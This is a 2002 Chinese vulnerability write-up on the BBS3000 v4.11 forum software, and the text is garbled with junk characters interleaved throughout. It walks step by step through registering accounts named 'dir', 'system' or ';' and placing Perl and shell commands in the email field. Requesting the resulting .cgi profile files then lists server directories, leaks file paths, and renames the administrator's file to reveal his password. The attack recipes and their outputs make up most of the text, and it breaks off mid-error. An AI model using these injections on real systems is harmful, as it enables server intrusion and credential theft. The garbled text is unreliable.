窥探YUZI的BBS3000社区安全性--1
& _( l! M4 o$ V& N4 g4 x& O+ P文章类型:漏洞分析 文章加入时间:2002年1月24日22:24 : A7 G- p1 `3 y1 _
--------------------------------------------------------------------------------9 J3 K& ]$ F* j" Q9 p& n
0 D+ ~, J+ v( S: z m窥探YUZI的BBS3000社区安全性
. b$ }' r7 Z) P' l7 G- z—————————————————————————————————
( X1 I5 n( P W: X D( } U7 W% ~8 bbadboy-club@21cn.com) Z6 z- w5 G, }1 K0 A- m h
部分漏洞提供者:
" K- u5 _5 W! aadver' _9 v8 {- ~" h! n3 A4 {
x.z9 }4 D K1 \: A0 R
这并不是什么权威教材,只适合菜鸟了解某些免费提供的论坛程序存在的不
: |$ o, U/ P1 _: k J1 ^安全面,切莫用此方法在国内做尝试,如果你偏要如此,那么由此引起的一
1 \' P2 L, w. Q W$ W切法律后果由你自己负责。
0 X+ [' _0 P$ o/ C0 f2 @. P& ?# d本文只允许在网络任意转载,但须保留文章的完整性,如把本文作为经济目
7 f1 S, h) {, b4 b( o的使用,或者未经本人许可进行印刷、光盘杂志、等出版性质的行为,本人
3 s& ~% q, t7 }' F ]% b; T( s" H将保留侵权控告的权利。
, ^% G1 q5 m0 M9 K—————————————————————————————————
- G! X' z5 t- K/ Z第一篇7 X3 l* H( Q I @# E7 |7 [, U
****基本漏洞测试*****9 D: t3 O+ }" W: z6 V
YUZI的BBS3000被不少的国内个人站点和企业站点用来作为网友交流的论坛,+ L/ A: x* K6 M7 z/ a* Q
但不少用户很少去探测这论坛的安全性,使用者很大程度上信任作者,而实际上7 M3 _) ?! S" h! N: ^3 U
这些免费的版本和汉化修改论坛,往往存在一些致命的漏洞,本文的目的在于揭
# n) e0 v s6 u示该论坛不为人知的漏洞,让大家更好的使用这类论坛,并且保证自身资料的隐
8 c$ A: k, {- A1 |% [3 J* m; U蔽和服务器的安全。1 P8 J* O8 M9 D: K* E
测试版本:bbs3000 v4.11: h" y& [8 d K& N" Q# c5 K
系统平台:win2k adv server=sp3 + iis 5.0 +ActivePerl 5.6.1.626+ X' d* ^( _# f& E; I
应用程序映射:perl.exe %s %s 动作:GET,HEAD,POST
/ c, V& M" S8 `8 E. V 或者:perlIS.dll 动作:GET,HEAD,POST' x1 K) n4 Z. z" s. z8 D8 P
测试情况:6 c& l4 f" j, ^3 K# z& _+ B
一、用户名为dir的漏洞
* I" U% d& K- r1、采用应用程序映射:perl.exe %s %s应用程序映射/ F1 _* X* C" b# F- W/ ]' x" K* m
在站点建立一目录(或者虚拟目录)bbs3000,按论坛作者提供的说明书,默认安) T3 G% b" a: J3 S
装BBS3000 v4.11版本,我们注册一用户名为dir,密码为system,信箱为
. v8 b6 ]8 v9 j# ~5 I) N$ \#badboy@badclub.org(#任意信箱都可以),然后我们在IE地址栏处输入:
# V. R! e* a8 [http://192.168.0.1/bbs3000/yhzl/dir.cgi
! j' J3 H" q& f+ z+ ]: Y3 n+ JF:\new\bbs3000\bbs3000 的目录
0 p% S% |% l8 B& Y8 t( m# D2002-01-16 19:26 <DIR> .3 J8 A4 X# s7 x
2002-01-16 19:26 <DIR> ..
9 }' B8 Z- X& z; d3 _( `% X2 X# b2002-01-16 22:42 43,247 bbs.cgi. I. v$ [6 `! q5 y5 C, y0 V. d
2002-01-16 22:47 50,934 cjyh.cgi
$ H' i, f# h/ c4 S( f3 V2002-01-16 22:43 38,551 bbs1.cgi
1 [5 ?: O& f7 Q8 L: j2002-01-16 22:48 6,401 cookie.cgi u& g: ]; ?2 x1 h; h
2002-01-16 22:42 2,138 affiche.cgi
% c0 C8 @" z+ P5 v. u1 M2002-01-16 22:43 22,434 bbs2.cgi
& k7 F1 r% E! K6 w. E# |(以下略)1 ]# ^$ W2 ~& [. T0 G: _
34 个文件 417,611 字节) f) z, d7 p) x# ?
15 个目录 1,830,944,768 可用字节
% ^8 t3 K# O v
& }7 x; x; j, Y/ X5 u2、采用应用程序映射:perlIS.dll应用程序映射
3 W2 G& g+ T4 M7 W! O得到的显示页面为:
. c( V, ~' E5 ['F:\new\bbs3000\bbs3000\yhzl\dir.cgi' script produced no output
# A* [; V5 B1 d N0 c7 m- E测试解释:在应用程序映射中,一个扩展名只能由一个程序去映射,在采用
P4 [, y$ {5 [# g) V( D/ ^1 zperl.exe时,BBS3000存在查看网站目录和文件的漏洞,在采用perlIS.dll时,
* `' @0 }% n3 U8 j- I6 [' [, K则有暴露网站在服务器上的绝对地址的漏洞。
% i, k- p3 w t3 e二、用户名为system的漏洞( Z& c' N$ b' g5 o& a% z3 H/ I
1、采用应用程序映射:perl.exe %s %s应用程序映射1 r3 m; F& f P* q0 L# D
注册一用户名为system,密码为空格键(或者密码为system),信箱为" q8 h1 W* e9 G% v+ T
'dir c:'#@badclub.org,然后我们在IE地址栏内输入:1 V; s) e6 D8 t& s+ p; e% W! `
http://192.168.0.1/bbs3000/yhzl/system.cgi$ N! }; A" Y* }& N
返回的页面显示为:) V; b& e3 L: p; C/ E6 |% {) W
C:\ 的目录
/ F/ k s* Z/ ?( p) _6 f2001-11-27 20:56 1,002 FRUNLOG.TXT
6 e h4 e b! T5 y* @2001-11-27 20:49 <DIR> WINNT8 e+ ^& t( ~" R4 y
(以下略)
& G5 d. ~ l0 V; A% M2 {7 s 10 个文件 29,583 字节
+ d3 k i" {8 a; t 9 个目录 946,327,552 可用字节
n/ J4 l$ l1 H当密码为其他时,则显示:6 ]7 Q- f+ ?7 k3 O: U6 x1 V% V% A
CGI Error
2 E1 Q% v( p3 f5 a4 D- S( N" BThe specified CGI application misbehaved by not returning a complete0 k( U* d5 X5 ~: @
set of HTTP headers. The headers it did return are:3 x& _9 @9 O" k$ U, g% |( G
syntax error at F:\new\bbs3000\bbs3000\yhzl\system.cgi line 1, near% b! t# z9 f! [
"1 system"Execution of F:\new\bbs3000\bbs3000\yhzl\system.cgi
+ D9 o/ `& Y# o# o6 C6 Naborted due to compilation errors.2 y6 G, J7 `! Q
我们还可以这样测试用户名为system的情况,密码仍然为空格键
% ?. N) P, b6 n(或者密码为system)但把信箱修改为@ARGV##badboy@badclub.org,然后我8 C3 ^' C E, j) Y/ i5 P
们在IE地址栏内输入:5 B, d% i/ c3 {4 ~. x
http://192.168.0.1/bbs3000/yhzl/system.cgi?dir%20d:$ g8 s, _. g6 f( G
返回的页面显示
: ^" X# `/ F- M% z) b2 \3 e7 UD:\ 的目录0 ^% y; \3 O% J( r, f
2001-01-18 23:23 <DIR> tools
8 r6 Q: s; ^' ?7 S2001-11-27 21:18 <DIR> 98tools
1 c9 `- x$ e- t+ m# C8 A2001-04-08 13:08 <DIR> W2Kreskit
& r; W9 n9 z' W& |0 U! R2001-11-06 19:52 <DIR> NOCDKEY-PROT
; R( m" v9 \# T* b# _/ _2001-12-01 21:32 <DIR> WINNT
3 z+ K% q2 b* Q: A2001-12-01 21:39 <DIR> Documents and Settings
7 Q# |, \# D7 M: h2 \2001-12-01 21:41 <DIR> Program Files" | Q- I0 z+ \0 f
2001-12-01 21:53 <DIR> Inetpub
K m8 w2 W/ J1 j! G0 w2002-01-16 19:17 <DIR> pl5 H& I, `8 C! [& w/ [# L" O8 \
(以下省略部分内容)
/ F' P& _" N) S" t% k/ j7 k 12 个文件 15,068,818 字节5 n1 A H6 [. b0 g1 A
15 个目录 2,371,317,760 可用字节
+ d- J$ }0 ^+ L& q'0' 不是内部或外部命令,也不是可运行的程序& y/ Z3 ^4 e3 m; y2 l# \
或批处理文件。& A# u4 ` o$ H, }1 m4 S5 U
2、采用应用程序映射:perlIS.dll应用程序映射
6 h m9 D' g, L$ [用户名为system,密码为空格键(或者密码为system),信箱为'dir c:'#@badclub.org,
* O* d/ H, s6 C! d5 j5 N- L然后我们在IE地址栏内输入:
2 _, x* m; _7 }' A3 y; a, i8 Z9 S$ x0 Whttp://192.168.0.1/bbs3000/yhzl/system.cgi9 ^ L/ `; s* E3 {
返回的页面显示为:% l! O) | u% x* S. [# [
'F:\new\bbs3000\bbs3000\yhzl\system.cgi' script produced no output
, J6 V) D T3 n. y6 h4 D, Z8 i把信箱修改为@ARGV##badboy@badclub.org,然后我们在IE地址栏内输入:* d+ l4 f. S) x4 j6 L7 y
http://192.168.0.1/bbs3000/yhzl/system.cgi?dir%20d:
2 _. R+ D1 ^) ^4 _! z ~# F0 E7 ?返回的页面显示
7 `# M) D& O$ }7 }# F* s: w+ d'F:\new\bbs3000\bbs3000\yhzl\system.cgi' script produced no output3 C' q- n3 Z4 H
三、用户名为;字符的情况2 S5 o# P; e' s% @+ |1 G
1、采用应用程序映射:perlIS.dll应用程序映射
5 N- m7 Q3 `$ T( S- m# S9 i; y注册一用户名为;字符,密码为1,信箱为rename "badboy.cgi","badboy.txt";#@badclub.org ,
$ g% B+ P3 X5 m( A! T(这里假设badboy为该论坛的社区区长,也就是该论坛最大权限的用户),然后我们
( O3 U4 ^# J: e& k. o8 s) S' q在IE地址栏内输入:& f' i6 N) j! r) n
http://192.168.0.1/bbs3000/yhzl/;.cgi- S a6 C: c; a S; v
返回的页面显示6 d- k$ q q' O
'F:\new\bbs3000\bbs3000\yhzl\;.cgi' script produced no output
G) c! ]0 z8 V8 x* m/ ^2 O, w嗯,怎么还是和上面的perl.dll例子一样啊??后面的就是关键了,你再输入这样
5 K/ X5 d7 t. U) p l' o9 {的看看
9 s8 n- C* s+ y2 f7 [. fhttp://192.168.0.1/bbs3000/yhzl/badboy.txt4 l+ O- o4 @* d$ K
返回的页面显示为! H7 y9 P# K2 s% v1 C
badpass badboy http://192.168.0.1 2002-01-16
' N- h0 z9 Q' |显示的内容前面就是密码、用户
4 I' L$ _5 \4 |5 U; F$ l6 P% x天啊,事情怎么那么容易呀!!~_*
O2 P, k5 q4 z7 N+ ?经测试,用户名为system密码为一个空格键(或者为system),信箱为. _# P1 e- Z7 s( f! G- e2 |
rename "badboy.cgi","badboy.txt";#@badclub.org 的时候,步骤和上面一样,同样# R6 F4 b0 S$ v7 G7 H
可以获得相同的结果。2 i8 g Z; w" C; ^
2、采用应用程序映射:perl.exe %s %s应用程序映射: c) M ]* h, G0 |& S2 D
用户名为;字符,密码为1,信箱为rename "badboy.cgi","badboy.txt";#@badclub.org
7 O# ]; R6 q$ ^% ~4 S( A6 A在IE地址栏内输入:
, j8 ~! a0 h5 n! T. ehttp://192.168.0.1/bbs3000/yhzl/;.cgi0 x2 _' q/ j6 k4 S. B
返回的页面显示
& X* p' }0 K) j" k9 uCGI Error' W2 A7 I' v. l* y
The specified CGI application misbehaved by not returning a complete set of HTTP
, N( r$ _3 [* b& Cheaders. The headers it did return are:
4 Y; ^( x6 h! \, \; w |